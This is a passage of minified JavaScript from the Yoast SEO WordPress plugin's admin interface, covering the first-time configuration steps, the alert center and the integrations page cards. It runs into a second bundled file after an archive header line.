addEventListener("keydown",e),()=>removeEventListener("keydown",e)}),[]),(0,l.useEffect)((()=>{d.editedSteps.includes(M+1)||"in_progress"===m?window.isStepBeingEdited=!0:window.isStepBeingEdited=!1}),[d.editedSteps,m,M]);const B=(0,l.useCallback)((e=>{(d.editedSteps.includes(M+1)||"in_progress"===m)&&(-1===location.href.indexOf("page=wpseo_dashboard#top#first-time-configuration")&&-1===location.href.indexOf("page=wpseo_dashboard#/first-time-configuration")||(e.preventDefault(),e.returnValue=""))}),[d.editedSteps,m,M]);return(0,l.useEffect)((()=>(window.addEventListener("beforeunload",B),()=>{window.removeEventListener("beforeunload",B)})),[B]),(0,t.createElement)(dl,{setActiveStepIndex:A,activeStepIndex:M,isStepperFinished:L},(0,t.createElement)(ll,null,(0,t.createElement)(ll.Header,{name:(0,Ht.__)("SEO data optimization","wordpress-seo"),isFinished:E},(0,t.createElement)(yl,{stepId:pl.optimizeSeoData,beforeGo:q,isVisible:U,additionalClasses:"yst-ml-auto"},(0,Ht.__)("Edit","wordpress-seo"))),(0,t.createElement)(ll.Content,null,(0,t.createElement)(Ic,{setIndexingState:f,indexingState:m,showRunIndexationAlert:g,isStepperFinished:L}),(0,t.createElement)(fl,{stepId:pl.optimizeSeoData,additionalClasses:"yst-mt-12",beforeGo:function(){return g||"idle"!==m||"1"===window.yoastIndexingData.disabled?(z(!1),c(pl.optimizeSeoData),!0):(v(!0),!1)},destination:D?"last":1},(0,Ht.__)("Continue","wordpress-seo")))),(0,t.createElement)(ll,null,(0,t.createElement)(ll.Header,{name:(0,Ht.__)("Site representation","wordpress-seo"),isFinished:x},(0,t.createElement)(yl,{stepId:pl.siteRepresentation,beforeGo:q,isVisible:U,additionalClasses:"yst-ml-auto"},(0,Ht.__)("Edit","wordpress-seo"))),(0,t.createElement)(ll.Content,null,(0,t.createElement)(nd,{onOrganizationOrPersonChange:T,dispatch:p,state:d,siteRepresentationEmpty:y}),(0,t.createElement)(ll.Error,{id:"yoast-site-representation-step-error",message:d.stepErrors[pl.siteRepresentation]||""}),(0,t.createElement)(vl,{stepId:pl.siteRepresentation,stepperFinishedOnce:D,saveFunction:function(){return!y&&N||!y&&O?(h(!0),!1):y||"emptyChoice"!==d.companyOrPerson?(h("emptyChoice"===d.companyOrPerson||N||O),async function(e){const t={company_or_person:"emptyChoice"===e.companyOrPerson?"company":e.companyOrPerson,company_name:e.companyName,company_logo:e.companyLogo,company_logo_id:e.companyLogoId?e.companyLogoId:0,website_name:e.websiteName,person_logo:e.personLogo,person_logo_id:e.personLogoId?e.personLogoId:0,company_or_person_user_id:e.personId},r=await na()({path:"yoast/v1/configuration/site_representation",method:"POST",data:t});return await r.json}(d).then((()=>(R([]),w(pl.siteRepresentation),c(pl.siteRepresentation),window.wpseoFirstTimeConfigurationData={...window.wpseoFirstTimeConfigurationData,...d},C(),!0))).catch((e=>e.failures?(R(e.failures),!1):(e.message&&b(pl.siteRepresentation,e.message),!1)))):(h(!0),!1)},setEditState:z}))),(0,t.createElement)(ll,null,(0,t.createElement)(ll.Header,{name:(0,Ht.__)("Social profiles","wordpress-seo"),isFinished:S},(0,t.createElement)(yl,{stepId:pl.socialProfiles,beforeGo:q,isVisible:U,additionalClasses:"yst-ml-auto"},(0,Ht.__)("Edit","wordpress-seo"))),(0,t.createElement)(ll.Content,null,(0,t.createElement)(Fi,{state:d,dispatch:p,setErrorFields:R}),(0,t.createElement)(ll.Error,{id:"yoast-social-profiles-step-error",message:d.stepErrors[pl.socialProfiles]||""}),(0,t.createElement)(vl,{stepId:pl.socialProfiles,stepperFinishedOnce:D,saveFunction:function(){return"person"===d.companyOrPerson?(c(pl.socialProfiles),!0):async function(e){const t={facebook_site:e.socialProfiles.facebookUrl,twitter_site:e.socialProfiles.twitterUsername,other_social_urls:e.socialProfiles.otherSocialUrls},r=await na()({path:"yoast/v1/configuration/social_profiles",method:"POST",data:t});return await r.json}(d).then((e=>!1===e.success?(R(e.failures),Promise.reject("There were errors saving social profiles")):e)).then((()=>{R([]),w(pl.socialProfiles),c(pl.socialProfiles)})).then((()=>(window.wpseoFirstTimeConfigurationData.socialProfiles=d.socialProfiles,!0))).catch((e=>(e.failures&&R(e.failures),e.message&&b(pl.socialProfiles,e.message),!1)))},setEditState:z}))),(0,t.createElement)(ll,null,(0,t.createElement)(ll.Header,{name:(0,Ht.__)("Personal preferences","wordpress-seo"),isFinished:_},(0,t.createElement)(yl,{stepId:pl.personalPreferences,beforeGo:q,isVisible:U,additionalClasses:"yst-ml-auto"},(0,Ht.__)("Edit","wordpress-seo"))),(0,t.createElement)(ll.Content,null,(0,t.createElement)(fd,{state:d,setTracking:k}),(0,t.createElement)(ll.Error,{id:"yoast-personal-preferences-step-error",message:d.stepErrors[pl.personalPreferences]||""}),(0,t.createElement)(vl,{stepId:pl.personalPreferences,stepperFinishedOnce:D,saveFunction:function(){return async function(e){if(0!==e.tracking&&1!==e.tracking)throw"Value not set!";const t={tracking:e.tracking},r=await na()({path:"yoast/v1/configuration/enable_tracking",method:"POST",data:t});return await r.json}(d).then((()=>c(pl.personalPreferences))).then((()=>(w(pl.personalPreferences),window.wpseoFirstTimeConfigurationData.tracking=d.tracking,P(),!0))).catch((e=>(e.message&&b(pl.personalPreferences,e.message),!1)))},setEditState:z}))),(0,t.createElement)(ll,null,(0,t.createElement)(ll.Header,{name:(0,Ht.__)("Finish configuration","wordpress-seo"),isFinished:L}),(0,t.createElement)(ll.Content,null,(0,t.createElement)(yp,null))))}const vp=()=>{const e=function(e){let{router:r,basename:n}=ft(pt.UseBlocker),a=yt(mt.UseBlocker),[s,o]=t.useState(""),i=t.useCallback((t=>{if("/"===n)return e(t);let{currentLocation:r,nextLocation:a,historyAction:s}=t;return e({currentLocation:Ge({},r,{pathname:U(r.pathname,n)||r.pathname}),nextLocation:Ge({},a,{pathname:U(a.pathname,n)||a.pathname}),historyAction:s})}),[n,e]);return t.useEffect((()=>{let e=String(++vt);return o(e),()=>r.deleteBlocker(e)}),[r]),t.useEffect((()=>{""!==s&&r.getBlocker(s,i)}),[r,s,i]),s&&a.blockers.has(s)?a.blockers.get(s):se}((({currentLocation:e,nextLocation:t})=>(0,u.get)(window,"isStepBeingEdited",!1)&&"/first-time-configuration"===e.pathname&&"/first-time-configuration"!==t.pathname));return(0,t.createElement)(c.Paper,null,(0,t.createElement)(uo,{title:(0,Ht.__)("First-time configuration","wordpress-seo"),description:(0,Ht.__)("Tell us about your site, so we can get it ranked! Let's get your site in tip-top shape for the search engines. Follow these 5 steps to make Google understand what your site is about.","wordpress-seo")},(0,t.createElement)("div",{id:"yoast-configuration",className:"yst-p-8 yst-max-w-[715px]"},(0,t.createElement)(gp,null))),(0,t.createElement)(Ln,{isOpen:"blocked"===e.state,onClose:e.reset,title:(0,Ht.__)("Unsaved changes","wordpress-seo"),description:(0,Ht.__)("There are unsaved changes in one or more steps of the first-time configuration. Leaving means that those changes will be lost. Are you sure you want to leave this page?","wordpress-seo"),onDiscard:e.proceed,dismissLabel:(0,Ht.__)("No, continue editing","wordpress-seo"),discardLabel:(0,Ht.__)("Yes, leave page","wordpress-seo")}))},bp=()=>(0,t.createElement)(t.Fragment,null,(0,t.createElement)(c.Paper,{className:"yst-p-8 yst-grow"},(0,t.createElement)("header",{className:"yst-max-w-screen-sm"},(0,t.createElement)(c.Title,null,(0,Ht.__)("Alert center","wordpress-seo")),(0,t.createElement)("p",{className:"yst-text-tiny yst-mt-3"},(0,Ht.__)("Monitor and manage potential SEO problems affecting your site and stay informed with important notifications and updates.","wordpress-seo")))),(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 @3xl:yst-grid-cols-2 yst-gap-6 yst-my-6 yst-grow yst-items-start"},(0,t.createElement)(Bs,null),(0,t.createElement)(qs,null))),wp="/alert-center",Ep="/first-time-configuration",xp=({idSuffix:e=""})=>{const r=(0,c.useSvgAria)(),n=Vs("selectPreference",[],"isPremium");return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("header",{className:"yst-px-3 yst-mb-6 yst-space-y-6"},(0,t.createElement)($t,{id:`link-yoast-logo${e}`,to:"/",className:"yst-inline-block yst-rounded-md focus:yst-ring-primary-500","aria-label":"Yoast SEO"+(n?" Premium":"")},(0,t.createElement)(jn,{className:"yst-w-40",...r}))),(0,t.createElement)("ul",{className:"yst-mt-1 yst-px-0.5 yst-space-y-4"},(0,t.createElement)(sn,{to:"/",label:(0,t.createElement)(t.Fragment,null,(0,t.createElement)(as,{className:"yst-sidebar-navigation__icon yst-w-6 yst-h-6"}),(0,Ht.__)("Dashboard","wordpress-seo")),idSuffix:e,className:"yst-gap-3"}),(0,t.createElement)(sn,{to:wp,label:(0,t.createElement)(t.Fragment,null,(0,t.createElement)(ss,{className:"yst-sidebar-navigation__icon yst-w-6 yst-h-6"}),(0,Ht.__)("Alert center","wordpress-seo")),idSuffix:e,className:"yst-gap-3"}),(0,t.createElement)(sn,{to:Ep,label:(0,t.createElement)(t.Fragment,null,(0,t.createElement)(os,{className:"yst-sidebar-navigation__icon yst-w-6 yst-h-6"}),(0,Ht.__)("First-time configuration","wordpress-seo")),idSuffix:e,className:"yst-gap-3"})))};xp.propTypes={idSuffix:Wr().string};const Sp=()=>{const e=(0,s.useSelect)((e=>e(us).selectNotices()),[]);(0,l.useEffect)((()=>{!function(e){e.forEach((e=>e.originalNotice.remove()))}(e)}),[e]);const{pathname:r}=rt(),n=Vs("selectAlertToggleError",[],[]),{setAlertToggleError:a}=(0,s.useDispatch)(us);(()=>{const e=(0,s.useSelect)((e=>e(us).selectActiveAlertsCount()),[]);(0,l.useEffect)((()=>{(e=>{
/* translators: Hidden accessibility text; %s: number of notifications. */
const t=(0,Ht.sprintf)((0,Ht._n)("%s notification","%s notifications",e,"wordpress-seo"),e),r=document.querySelectorAll("#toplevel_page_wpseo_dashboard .update-plugins");for(const n of r)n.className=`update-plugins count-${e}`,Hs(n,".plugin-count",String(e)),Hs(n,".screen-reader-text",t);const n=document.querySelectorAll("#wp-admin-bar-wpseo-menu .yoast-issue-counter");for(const r of n)r.classList.toggle("wpseo-no-adminbar-notifications",0===e),Hs(r,".yoast-issues-count",String(e)),Hs(r,".screen-reader-text",t)})(e)}),[e])})();const o=(0,l.useCallback)((()=>{a(null)}),[a]),i=(0,s.useSelect)((e=>e(us).selectLinkParams()),[]),u=(0,Vn.addQueryArgs)("https://yoa.st/webinar-intro-settings",i);return(0,t.createElement)(t.Fragment,null,(0,t.createElement)(c.SidebarNavigation,{activePath:r},(0,t.createElement)(c.SidebarNavigation.Mobile,{openButtonId:"button-open-dashboard-navigation-mobile",closeButtonId:"button-close-dashboard-navigation-mobile"
/* translators: Hidden accessibility text. */,openButtonScreenReaderText:(0,Ht.__)("Open dashboard navigation","wordpress-seo")
/* translators: Hidden accessibility text. */,closeButtonScreenReaderText:(0,Ht.__)("Close dashboard navigation","wordpress-seo"),"aria-label":(0,Ht.__)("Dashboard navigation","wordpress-seo")},(0,t.createElement)(xp,{idSuffix:"-mobile"})),(0,t.createElement)("div",{className:"yst-p-4 min-[783px]:yst-p-8 yst-flex yst-gap-4"},(0,t.createElement)("aside",{className:"yst-sidebar yst-sidebar-nav yst-shrink-0 yst-hidden min-[783px]:yst-block yst-pb-6 yst-bottom-0 yst-w-56"},(0,t.createElement)(c.SidebarNavigation.Sidebar,null,(0,t.createElement)(xp,null))),(0,t.createElement)("div",{className:"yst-grow"},(0,t.createElement)("div",{className:"yst-space-y-6 yst-mb-8 xl:yst-mb-0"},(0,t.createElement)("main",null,(0,t.createElement)(ns,{key:r,appear:!0,show:!0,enter:"yst-transition-opacity yst-delay-100 yst-duration-300",enterFrom:"yst-opacity-0",enterTo:"yst-opacity-100"},r!==Ep&&(0,t.createElement)("div",null,((e="yoast-seo/editor")=>{const t=(0,s.select)(e).isPromotionActive("black-friday-2023-checklist"),r=(0,s.select)(e).isAlertDismissed("black-friday-2023-sidebar-checklist");return!t||r})(us)&&(0,t.createElement)(pi,{store:us,url:u,image:null}),e.length>0&&(0,t.createElement)("div",{className:e.filter((e=>!e.isDismissed)).length>0?"yst-space-y-3 yoast-general-page-notices":"yst-hidden"}," ",e.map(((e,r)=>(0,t.createElement)($s,{key:r,id:e.id||"yoast-general-page-notice-"+r,title:e.header,isDismissable:e.isDismissable,className:e.isDismissed?"yst-hidden":""},e.content))))),(0,t.createElement)(Et,null))))))),(0,t.createElement)(c.Notifications,{className:"yst-mx-[calc(50%-50vw)] yst-transition-all lg:yst-left-44",position:"bottom-left"},n&&(0,t.createElement)(c.Notifications.Notification,{id:"toggle-alert-error",title:(0,Ht.__)("Something went wrong","wordpress-seo"),variant:"error",dismissScreenReaderLabel:(0,Ht.__)("Dismiss","wordpress-seo"),size:"large",autoDismiss:4e3,onDismiss:o},"error"===n.type?(0,Ht.__)("This problem can't be hidden at this time. Please try again later.","wordpress-seo"):(0,Ht.__)("This notification can't be hidden at this time. Please try again later.","wordpress-seo"))))},_p=()=>{const e=Vs("selectPreference",[],"isPremium"),r=Vs("selectUpsellSettingsAsProps"),{isPromotionActive:n}=(0,s.useSelect)(us),a=Vs("selectLink",[],"https://yoa.st/17h");return e?null:(0,t.createElement)(Nn,{premiumLink:a,premiumUpsellConfig:r,isPromotionActive:n})},kp=({contentClassName:e,children:r})=>{const n=Vs("selectPreference",[],"isPremium"),a=Vs("selectLink",[],"https://yoa.st/jj"),o=Vs("selectUpsellSettingsAsProps"),i=Vs("selectLink",[],"https://yoa.st/3t6"),{isPromotionActive:l}=(0,s.useSelect)(us);return(0,t.createElement)("div",{className:"yst-flex yst-gap-6 xl:yst-flex-row yst-flex-col"},(0,t.createElement)("div",{className:cr()("yst-@container yst-flex yst-flex-grow yst-flex-col",e)},r),!n&&(0,t.createElement)("div",{className:"yst-min-w-[16rem] xl:yst-max-w-[16rem]"},(0,t.createElement)("div",{className:"yst-sticky yst-top-16"},(0,t.createElement)(On,{premiumLink:a,premiumUpsellConfig:o,academyLink:i,isPromotionActive:l}))))};kp.propTypes={contentClassName:Wr().string,children:Wr().node};const Rp=()=>({...(0,u.get)(window,"wpseoScriptData.preferences",{}),ajaxUrl:(0,u.get)(window,"ajaxurl","")}),Cp=(0,$n.createSlice)({name:"preferences",initialState:Rp(),reducers:{}}),Pp={selectPreference:(e,t,r={})=>(0,u.get)(e,`preferences.${t}`,r),selectPreferences:e=>(0,u.get)(e,"preferences",{})};Pp.selectUpsellSettingsAsProps=(0,$n.createSelector)([e=>Pp.selectPreference(e,"upsellSettings",{}),(e,t="premiumCtbId")=>t],((e,t)=>({"data-action":null==e?void 0:e.actionId,"data-ctb-id":null==e?void 0:e[t]})));const Np=Cp.actions,Op=Cp.reducer,Tp=window.yoast.externals.redux;function Lp({alertKey:e}){return new Promise((t=>wpseoApi.post("alerts/dismiss",{key:e},(()=>t()))))}const Ip="alertCenter",Mp="toggleAlertVisibility",Ap=(0,$n.createSlice)({name:Ip,initialState:{alertToggleError:null,alerts:[]},reducers:{toggleAlert:(e,t)=>{const r=e.alerts.findIndex((e=>e.id===t));-1!==r&&(e.alerts[r].dismissed=!e.alerts[r].dismissed)},setAlertToggleError:(e,t)=>{const r=e.alerts.findIndex((e=>e.id===t));e.alertToggleError=-1===r?null:e.alerts[r]},removeAlert(e,{payload:t}){e.alerts=e.alerts.filter((e=>e.id!==t))}},extraReducers:e=>{e.addCase(`${Mp}/${Zt}`,((e,{payload:{id:t}})=>{Ap.caseReducers.toggleAlert(e,t)})),e.addCase(`${Mp}/${Wt}`,((e,{payload:{id:t}})=>{Ap.caseReducers.setAlertToggleError(e,t)}))}}),Dp=Ap.getInitialState,Fp=e=>(0,u.get)(e,`${Ip}.alerts`,[]),jp=(0,$n.createSelector)([Fp],(e=>e.filter((e=>!e.dismissed)))),zp={selectActiveProblems:(0,$n.createSelector)([jp],(e=>e.filter((e=>"error"===e.type)))),selectDismissedProblems:(0,$n.createSelector)([Fp],(e=>e.filter((e=>"error"===e.type&&e.dismissed)))),selectActiveNotifications:(0,$n.createSelector)([jp],(e=>e.filter((e=>"warning"===e.type)))),selectDismissedNotifications:(0,$n.createSelector)([Fp],(e=>e.filter((e=>"warning"===e.type&&e.dismissed)))),selectAlertToggleError:e=>(0,u.get)(e,`${Ip}.alertToggleError`,null),selectAlert:(0,$n.createSelector)([Fp,(e,t)=>t],((e,t)=>e.find((e=>e.id===t)))),selectActiveAlertsCount:(0,$n.createSelector)([jp],(e=>e.length))},Up={...Ap.actions,toggleAlertStatus:function*(e,t,r=!1){yield{type:`${Mp}/${Vt}`};try{return yield{type:Mp,payload:{id:e,nonce:t,hidden:r}},{type:`${Mp}/${Zt}`,payload:{id:e}}}catch(t){return{type:`${Mp}/${Wt}`,payload:{id:e}}}}},$p={[Mp]:async({payload:e})=>{const t=new URLSearchParams;t.append("action",e.hidden?"yoast_restore_notification":"yoast_dismiss_notification"),t.append("notification",e.id),t.append("nonce",e.nonce);const r=(0,s.select)(us).selectPreference("ajaxUrl");if(!(await fetch(r,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"},body:t.toString()})).ok)throw new Error("Failed to dismiss notification")}},qp=Ap.reducer,{currentPromotions:Bp,dismissedAlerts:Hp,isPremium:Vp}=Tp.reducers,{isAlertDismissed:Zp,getIsPremium:Wp,isPromotionActive:Gp}=Tp.selectors,{dismissAlert:Yp,setCurrentPromotions:Kp,setDismissedAlerts:Jp,setIsPremium:Qp}=Tp.actions;i()((()=>{const r=document.getElementById("yoast-seo-general");if(!r)return;(({initialState:t={}}={})=>{(0,s.register)((({initialState:t})=>(0,s.createReduxStore)(us,{actions:{...Kn,...Np,...Up,dismissAlert:Yp,setCurrentPromotions:Kp,setDismissedAlerts:Jp,setIsPremium:Qp,...ua},selectors:{...Yn,...Pp,...zp,isAlertDismissed:Zp,getIsPremium:Wp,isPromotionActive:Gp,...ca},initialState:(0,u.merge)({},{[Zn]:Gn(),preferences:Rp(),[Ip]:Dp(),currentPromotions:{promotions:[]},[oa]:la()},t),reducer:(0,s.combineReducers)({[Zn]:Jn,preferences:Op,[Ip]:qp,currentPromotions:Bp,dismissedAlerts:Hp,isPremium:Vp,[oa]:da}),controls:{...$p,...e}}))({initialState:t}))})({initialState:{[Zn]:(0,u.get)(window,"wpseoScriptData.linkParams",{}),[Ip]:{alerts:(0,u.get)(window,"wpseoScriptData.alerts",[])},currentPromotions:{promotions:(0,u.get)(window,"wpseoScriptData.currentPromotions",[])},dismissedAlerts:(0,u.get)(window,"wpseoScriptData.dismissedAlerts",{}),isPremium:(0,u.get)(window,"wpseoScriptData.preferences.isPremium",!1),[oa]:{resolvedNotices:[]}}});const n=(0,s.select)(us).selectPreference("isRtl",!1),o=(0,u.get)(window,"wpseoScriptData.dashboard.contentTypes",[]),i=(0,u.get)(window,"wpseoScriptData.dashboard.displayName","User"),d={indexables:(0,u.get)(window,"wpseoScriptData.dashboard.indexablesEnabled",!1),seoAnalysis:(0,u.get)(window,"wpseoScriptData.dashboard.enabledAnalysisFeatures.keyphraseAnalysis",!1),readabilityAnalysis:(0,u.get)(window,"wpseoScriptData.dashboard.enabledAnalysisFeatures.readabilityAnalysis",!1)},p={seoScores:(0,u.get)(window,"wpseoScriptData.dashboard.endpoints.seoScores",""),readabilityScores:(0,u.get)(window,"wpseoScriptData.dashboard.endpoints.readabilityScores","")},m={"X-Wp-Nonce":(0,u.get)(window,"wpseoScriptData.dashboard.nonce","")},f={dashboardLearnMore:(0,s.select)(us).selectLink("https://yoa.st/dashboard-learn-more")},y=(g=_t((0,t.createElement)(xt,{path:"/",element:(0,t.createElement)(Sp,null),errorElement:(0,t.createElement)(Zs,{className:"yst-m-8"})},(0,t.createElement)(xt,{path:"/",element:(0,t.createElement)(kp,null,(0,t.createElement)(Un,{contentTypes:o,userName:i,features:d,endpoints:p,headers:m,links:f}),(0,t.createElement)(_p,null)),errorElement:(0,t.createElement)(Zs,null)}),(0,t.createElement)(xt,{path:wp,element:(0,t.createElement)(kp,null,(0,t.createElement)(bp,null),(0,t.createElement)(_p,null)),errorElement:(0,t.createElement)(Zs,null)}),(0,t.createElement)(xt,{path:Ep,element:(0,t.createElement)(vp,null),errorElement:(0,t.createElement)(Zs,null)}),(0,t.createElement)(xt,{path:"*",element:(0,t.createElement)(wt,{to:"/",replace:!0})}))),ce({basename:void 0,future:Rt({},void 0,{v7_prependBasename:!0}),history:(x={window:void 0},void 0===x&&(x={}),E((function(e,t){let{pathname:r="/",search:n="",hash:a=""}=w(e.location.hash.substr(1));return r.startsWith("/")||r.startsWith(".")||(r="/"+r),v("",{pathname:r,search:n,hash:a},t.state&&t.state.usr||null,t.state&&t.state.key||"default")}),(function(e,t){let r=e.document.querySelector("base"),n="";if(r&&r.getAttribute("href")){let t=e.location.href,r=t.indexOf("#");n=-1===r?t:t.slice(0,r)}return n+"#"+("string"==typeof t?t:b(t))}),(function(e,t){h("/"===e.pathname.charAt(0),"relative pathnames are not supported in hash history.push("+JSON.stringify(t)+")")}),x)),hydrationData:Pt(),routes:g,mapRouteProperties:kt,unstable_dataStrategy:void 0,unstable_patchRoutesOnNavigation:void 0,window:void 0}).initialize());var g,x;(0,l.render)((0,t.createElement)(c.Root,{context:{isRtl:n}},(0,t.createElement)(a.SlotFillProvider,null,(0,t.createElement)(Dt,{router:y}))),r)}))})()})();wordpress-seo/js/dist/integrations-page.js000064400000351337147510273070014737 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var a in s)e.o(s,a)&&!e.o(t,a)&&Object.defineProperty(t,a,{enumerable:!0,get:s[a]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,s=window.lodash,a=window.wp.domReady;var n=e.n(a);const r=window.yoast.uiLibrary,o=window.wp.i18n,l=window.yoast.propTypes;var c=e.n(l);const i=window.wp.element,m=window.wp.apiFetch;var p=e.n(m);const h=Boolean(window.wpseoScriptData.isPremium),y=e=>{const t=`${e.slug}_integration_active`;return Boolean(window.wpseoIntegrationsData[t])},g=e=>{if(!window.wpseoIntegrationsData.is_multisite)return!0;const t=`allow_${e.slug}_integration`;return Boolean(window.wpseoIntegrationsData[t])},d=e=>!window.wpseoIntegrationsData.is_multisite||e.isMultisiteAvailable,v=e=>e.isPremium&&h||!e.isPremium,u=(e,t)=>{const s=t,a=g(e),n=d(e);return v(e)?s&&a&&n:a&&n},w=async(e,t)=>{const s=await p()({path:"yoast/v1/integrations/set_active",method:"POST",data:{active:t,integration:e.slug}});return await s.json};var f,E;function b(){return b=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},b.apply(this,arguments)}const _=({children:e})=>(0,t.createElement)("header",{className:"yst-relative yst-flex yst-items-center yst-justify-center yst-h-24 yst-bg-slate-100 yst--mx-6 yst--mt-6 yst-py-6"},e);_.propTypes={children:l.PropTypes.node};const P=({children:e})=>(0,t.createElement)("div",{className:"yst-flex-grow"},e);P.propTypes={children:l.PropTypes.node};const M=({children:e})=>(0,t.createElement)("footer",{className:"yst-border-t yst-border-slate-200 yst-pt-6"},e);function k({children:e}){return(0,t.createElement)("div",{className:"yst-relative yst-flex yst-flex-col yst-bg-white yst-rounded-lg yst-border yst-p-6 yst-space-y-6 yst-overflow-hidden yst-transition-transform yst-ease-in-out yst-duration-200 yst-shadow-sm"},e)}M.propTypes={children:l.PropTypes.node},k.propTypes={children:l.PropTypes.node},k.Header=_,k.Content=P,k.Footer=M;const Z=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M10.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L12.586 11H5a1 1 0 110-2h7.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),T=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M4.293 4.293a1 1 0 011.414 0L10 8.586l4.293-4.293a1 1 0 111.414 1.414L11.414 10l4.293 4.293a1 1 0 01-1.414 1.414L10 11.414l-4.293 4.293a1 1 0 01-1.414-1.414L8.586 10 4.293 5.707a1 1 0 010-1.414z",clipRule:"evenodd"}))})),x=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),N=window.wp.components,L=({integration:e,initialActivationState:s,isNetworkControlEnabled:a,isMultisiteAvailable:n,toggleLabel:l,beforeToggle:c})=>{const[m,p]=(0,i.useState)(s),h=(0,i.useCallback)((async()=>{let t=!0;const s=!m;p(s),c&&(t=!1,t=await c(e,s)),t||p(!s)}),[m,c,p]),y=e.logo;return(0,t.createElement)(k,null,(0,t.createElement)(k.Header,null,(0,t.createElement)(r.Link,{href:e.logoLink,target:"_blank"},e.logo&&(0,t.createElement)(y,{alt:(0,o.sprintf)(/* translators: 1: Yoast SEO, 2: integration name */
(0,o.__)("%1$s integrates with %2$s","wordpress-seo"),"Yoast SEO",e.name),className:u(e,m)?"":"yst-opacity-50 yst-filter yst-grayscale"}),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo"))),!a&&n&&(0,t.createElement)(r.Badge,{className:"yst-absolute yst-top-2 yst-right-2"},(0,o.__)("Network Disabled","wordpress-seo")),a&&e.isNew&&(0,t.createElement)(r.Badge,{className:"yst-absolute yst-top-2 yst-right-2"},(0,o.__)("New","wordpress-seo"))),(0,t.createElement)(k.Content,null,(0,t.createElement)("div",null,e.claim&&(0,t.createElement)("h4",{className:"yst-text-base yst-mb-3 yst-font-medium yst-text-[#111827] yst-leading-tight"},e.claim),(0,t.createElement)("p",null," ",e.description,e.learnMoreLink&&(0,t.createElement)(r.Link,{href:e.learnMoreLink,className:"yst-flex yst-items-center yst-mt-3 yst-no-underline yst-font-medium",target:"_blank"},"Learn more",(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo")),(0,t.createElement)(Z,{className:"yst-h-4 yst-w-4 yst-ml-1 yst-icon-rtl"})))),m&&(0,t.createElement)(N.Slot,{name:`${e.name}Slot`})),(0,t.createElement)(k.Footer,null,!v(e)&&(0,t.createElement)(r.Button,{id:`${e.name}-upsell-button`,type:"button",as:"a",href:e.upsellLink,variant:"upsell","data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2",className:"yst-w-full yst-text-slate-800",target:"_blank"},(0,t.createElement)(x,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5 yst-text-yellow-900"}),(0,o.__)("Unlock with Premium","wordpress-seo"),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo"))),v(e)&&!d(e)&&(0,t.createElement)("p",{className:"yst-flex yst-items-start yst-justify-between"},(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Integration unavailable for multisites","wordpress-seo")),(0,t.createElement)(T,{className:"yst-h-5 yst-w-5 yst-text-red-500 yst-flex-shrink-0"})),v(e)&&d(e)&&(0,t.createElement)(r.ToggleField,{id:`${e.name}-toggle`,checked:m,label:l,onChange:h,disabled:!a||!n})))};L.propTypes={integration:l.PropTypes.shape({name:l.PropTypes.string,claim:l.PropTypes.node,learnMoreLink:l.PropTypes.string,logoLink:l.PropTypes.string,slug:l.PropTypes.string,description:l.PropTypes.string,usps:l.PropTypes.array,logo:l.PropTypes.func,isPremium:l.PropTypes.bool,isNew:l.PropTypes.bool,isMultisiteAvailable:l.PropTypes.bool,upsellLink:l.PropTypes.string}),initialActivationState:l.PropTypes.bool,isNetworkControlEnabled:l.PropTypes.bool,isMultisiteAvailable:l.PropTypes.bool,toggleLabel:l.PropTypes.string,beforeToggle:l.PropTypes.func};const A=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z",clipRule:"evenodd"}))})),O=({integration:e,isActive:s,children:a})=>{const n=e.logo;return(0,t.createElement)(k,null,(0,t.createElement)(k.Header,null,(0,t.createElement)(r.Link,{href:e.logoLink,target:"_blank"},e.logo&&(0,t.createElement)(n,{alt:`${e.name} logo`,className:s?"":"yst-opacity-50 yst-filter yst-grayscale"}),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
